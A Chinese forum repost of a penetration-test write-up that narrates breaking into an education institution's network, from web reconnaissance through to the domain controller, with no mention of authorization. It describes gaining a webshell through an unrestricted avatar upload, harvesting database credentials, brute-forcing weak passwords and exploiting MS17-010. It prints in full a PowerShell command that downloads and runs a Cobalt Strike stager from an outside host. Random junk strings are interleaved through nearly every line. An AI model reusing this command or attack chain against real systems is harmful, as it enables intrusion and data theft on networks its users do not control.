找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2102|回复: 0
打印 上一主题 下一主题

渗透实战 | 从外网直接打到内网全过程

[复制链接]
跳转到指定楼层
楼主
发表于 2024-3-1 19:41:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

$ a0 q" G& a3 @8 k 这次渗透是一个从01,从外网到拿下域控的实战过程,希望可以给大家一些思路 9 j1 c" l( l* S1 Q

" x: I9 ?3 n3 o4 U h+ P: W: N

# S3 {6 J; t, E% I" X! d" \5 g4 C1 U   9 _" a F9 j: L# @

Q& |& a# C" f6 t

1 I$ i8 Y* o, d7 e5 r 正文 ) U9 o* |! c+ D" B! J% n0 n

- d+ e( _$ X/ S0 a. L5 c* @

& _, n' S @$ o9 s4 k+ R, i   ( x9 N. ?& _$ L" d1 a

9 n" ?- D" I0 k# v, a

7 u- G6 F/ j8 K- H `1 Y% u 目标:www.xxxx.com(一家教育机构)
* U- T4 n3 o- |$ e* _$ Q9 I
打开是一个登录框,只能是手机号+密码或者手机号+验证码且并未开放注册功能
0 f+ G P+ |! y; B+ J) p

5 T/ n* p4 |2 { @9 {3 l

2 M. C# w* [2 B" _, I4 D* K. | vshapes= ) K6 a* l6 o7 `( G+ D( c% Q

5 V( c; m% R6 ^4 i0 m: x0 I2 ~

; t" o$ ~8 |- }0 `2 D 进行了简单的信息搜集
' P6 r- n, ?- X; i2 l$ G/ _
2 p; s! |; ~( P8 `4 M- y$ N, \3 _
0 V z/ C# T- [* b2 p

# ^. r+ L; F. c

' e! d/ m1 ^) U6 ?7 I6 T' p! i! b 子域名搜集 5 L' j- Y. {6 d3 A2 u+ [

' z& @* ^- P. K0 Z4 H) O8 C

" Z# a' t; w; X+ u vshapes=% X V g# Q& v% d2 l' d

! d- t2 X6 D4 Y' r6 M; c

, z1 y$ K, i+ Y. Z3 y# q fofa找资产
" d/ j6 ]" P* o/ f7 z* F
* {7 h8 \7 y- R* Z! E! t; y
7 g& `9 V3 P. y

% T# m: B$ K) O( j; {: r1 i. i

$ G2 s- L7 _- O% \: J vshapes=; R. d p: o9 Y* [8 w1 A! Q4 g& a

& w+ H1 |; \0 a

1 N) e4 ~3 a1 _( h: W4 w 一共七个资产。去重之后只有两个。
% u0 Z. P" y: S6 l2 ~) V
& P2 k0 [# a4 i. r
! E$ i" E4 N( B( Q3 }' u

/ T! u+ p- O# r7 i6 r

# e/ Y( x- f% w4 j 目录探测 9 ~% a$ N8 J/ n& r6 I) g

- x1 L- P/ v9 A# `# l7 s

( X2 |1 X! w% E5 {6 K' t+ p vshapes= # d. g* Z9 V @4 O0 e' E' L6 O3 y" N

4 r1 i: F0 ^% m* W! A0 c

+ ^$ F% R: p2 k5 v 我尝试了暴力枚举,看有没有弱口令之类的,然而并没有
$ L; k; F* C1 T: i
/ w3 i l; a' j7 F# O9 ~
: K/ i- d& i' P

. P1 h5 d7 X- i; ]) C

; Y1 m, K( H2 Q) }6 _6 b 我又尝试了通过修改返回包来绕过登录界面 4 ]4 r1 P3 S* [) ~& q+ t

2 t7 s( c9 G3 e/ T

: ~- F5 l: \, k& \ vshapes=+ b. P0 P& D8 B

' t+ ~. w/ V' ?

: c1 t% k- V! L3 b4 | 还是不行,尝试注入无果8 @% b6 z4 k+ s

2 B4 ^' D( H4 }

4 x0 o! W$ h& ~' _0 o5 K0 ^" o vshapes= 0 R k9 f# P! r8 q1 V( L% O7 H

& x a( q. M1 s# c

k* M- d7 D2 V: r2 D 不过我目录探测出了一处Spring信息泄露
! ^. m# G+ v; R* C! H3 y z, y& i
3 @* N& D2 u2 i
+ V) ~- [2 b L- s) h* k8 J

, M" L: P1 K6 v6 l/ B: X7 f4 o

. j) x f- C: j: h9 V vshapes= ! ~; _) a* T, q! [+ b# c" d' L

0 l2 j+ \# F. j

5 G! L# |5 F' I6 x 尝试Spring RCE无果,想通过trace目录下替换cookie实现登录,但是发现删除了这个目录 , Y" F) ^, L \) a# C' p

9 S' t( M. Z" T9 V/ v H5 @

+ N! I8 L; x6 n8 ]# c vshapes= ) }8 k% ^! R# u' M

, ]& ^ s& q+ |$ d

# b/ \& s3 w, n4 I" L, T 后对公众号进行了简单的信息搜集,针对公众号搜集时,尽量找后面认证过的进行渗透。 - m5 q# R9 E3 V* q" `

* [- V' {3 U2 R2 N

$ \6 d, @; }( X# h, E$ E5 r vshapes= 5 q2 n* R: K$ p2 \

' C9 z* |# `+ ~; A: f; ?

F$ x0 w" d/ f& ]8 X 获取有些师傅到这一步就手机抓包电脑测了。 ; V3 q) ^$ }0 K; o' O

" l* D6 ]- s$ V. M

9 J9 i% K$ S# x% y& b* a9 w; ?3 J* H Windows新版微信可以抓取公众号和小程序的包,只需要把IE代理配置一下即可。 ) a' K! t2 N2 `3 E+ t2 v

5 K1 Z* p* Q1 w! Z1 x5 ~

5 r7 b8 n; Y! K; q! Y& \$ D 其中在一个公众号发现了小程序,可以进行注册。6 Y6 F8 a$ x' x4 S( V4 N& Y

9 E3 H; M8 q& Q

8 U: f7 V* R7 P- v0 A 看到了头像上传,尝试上传获取WebShell. Z8 s1 x5 F2 p: A- ?' q

: h3 x+ O/ h1 Z2 L0 V9 g" k$ f- _

% i; |) c+ S; w. F1 j vshapes=5 ]/ O4 S# M; H

1 \( h# ]) N1 O( ~- }8 ?

# P2 Y7 z0 \) o+ A7 ]9 U& s1 ` 未做任何限制成功GetShell,上了冰蝎马,目录没权限访问9 J7 K# B/ |) T. @

- r7 ^8 X9 ]9 ]2 }

2 ? p' ` n5 O: H' v5 v I2 _3 G' ` vshapes= ' w" R$ ]9 }( T

+ F4 Y7 h$ Q5 @) d

2 r: Z4 N! B$ M1 ]* T5 ]: A 然后上了大马 ) D0 E$ t2 }, B8 \! [; W- e- V

& G' x' M* Q5 `$ W) \) o- [

# j7 m0 ^+ s9 i3 w vshapes=; D2 C& O7 \; Q* k3 Q% D2 u

9 U5 T3 d% {* l" z

' w z& l1 X! u- J3 p+ K) S vshapes=& x* U5 w' A% k# h5 P+ v

9 p2 i t7 {; s5 G0 z

' i& d: m9 f$ [9 ? 通过翻找文件发现数据库账号密码# g. I8 o8 K# M0 Y) j3 ?

! A, h) o4 m, Y) [; r! U

6 @- z2 y" L' K+ I; g vshapes= $ I! ~0 a, s+ }1 p: X6 C* _

* q% l) \& u2 I

) l* A0 C9 u7 u# J) l$ e1 V --内网渗透1 e% n; ^4 L, Y0 i2 b8 `6 w

8 b1 r( w' S( x4 u2 H3 `

* h2 H7 j5 d: y* k" d/ C2 R8 N" C 直接通过powershell执行 cs上线 3 y$ o! I9 F8 y

* O* {% V* q' j! P S

! |, Y/ ^/ |; ?9 _$ i0 U( h2 v powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))" # l8 b( J0 k% N0 U8 S3 z' ~

; T0 T/ h$ [, J- z

' g& T* g) q1 a( c4 ?; }! j vshapes= ; {3 b/ H& p. b$ s% u/ U: Q4 V. [: D1 y

, o& f: _' \7 r8 k4 n0 G

& T0 ?6 D$ H9 G$ @8 o* ^ 进入内网后,简单的进行一波信息收集,寻找域控并对服务器段进行弱口令爆破 & \; e3 e F1 J) S* o

; O( ^: [5 b7 S' z; e

1 X7 F6 X( B3 O& Z7 \3 [ vshapes=! f3 A6 T- l9 E5 S

$ v" D4 ]6 N: t8 {& {, G, Z

3 U$ O6 B! b/ {0 G 登录爆破出来的服务器,发现多网卡且存在逻辑隔离。
; L6 \" e5 b h7 j6 f9 b
0 R: ?8 s' a( g
9 D" t6 W, T# J; H' n7 ?6 k1 F6 _
4 w; M7 x- m7 v7 c r4 g/ Q0 c# s

4 o- F, ~5 |% h$ g. s; V! E! Q. d

D; f/ c5 w: e' [, c1 a vshapes=& h! `+ r# b; @. i- W2 g$ i$ k& Z

; [2 u' T! N/ B( ~5 x

) R1 ]5 B6 E, c: e6 W% A& ^ 通过跳扳机能通域控,发现域控server2008且存在ms17010,直接一把梭
" ^. x, ~- r; b9 y* m
1 Z) V$ g- r. l) K1 O, \& b
2 L" b- a$ |8 O; _" K; D

. _( s& A+ y7 ^. u" y$ O8 W0 p

( M$ o( N, X: T* B vshapes= " h1 _$ h1 Q8 c9 P) H

/ C- G* [( L, Q: k; @

6 ]7 d/ L5 L6 C& x! W+ [! m
* Y# a* c2 j& w8 O1 s( S
3 ~. D1 `+ |; @
; J- d$ [7 N2 E

7 [( e) e% o1 U/ }' A$ i

9 i2 Z7 R, `& ?   9 Q/ |: G- h0 H- @6 a2 M* ?

# ]; y+ _. D2 y1 M( y4 b0 u

7 `' t X; L* T: T. V/ f 小结 ( |) N5 C4 X1 L# g. r

, M: m" `6 J3 {% r' v

* ?5 E7 H1 E$ |# i  1 I- K$ R2 Z6 b

3 z+ d$ R# a) }' T

* N, _& W' \! \) r# g 在渗透测试过程中,信息收集很重要,细心和耐心也是不可缺少的,总得来说,这次的渗透测试总的来说比较顺利,希望可以给大家带来一些思路! ' [: T3 z4 b" E) T7 e% H

" u/ i7 s3 z4 R% K, f; k

% q) I' W9 Q& h7 u   9 A I2 }# B. ~( k$ ?# P P

" L# |& B& ~/ X
    9 h- D. x$ s9 }/ D* H6 k# P( `8 y
  • 1 _* ?9 t5 w2 D( k5 r- n8 H  1 E) P+ T! ?; W
  • 8 ]3 `7 r" @. h5 ]( g0 z% B$ c
  • 9 V: h3 o2 D9 P" F. E5 {  3 X* _/ N# t* v4 ?
  • / o9 a- {* e& |
+ x! d* ~! `( e" W$ H1 i: D* [$ M

" G! C+ t4 c5 }$ X' S) h0 _ 作者:Xm4FDf转载自:https://bbs.ichunqiu.com/thread-57879-1-1.html + Z5 \6 V7 x; K( t0 f8 W% W( E: D

: P$ z1 a& B$ D' ]8 W8 z3 F/ \

0 W- q% {- p; Y. \   - E: d3 X0 [0 Y

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表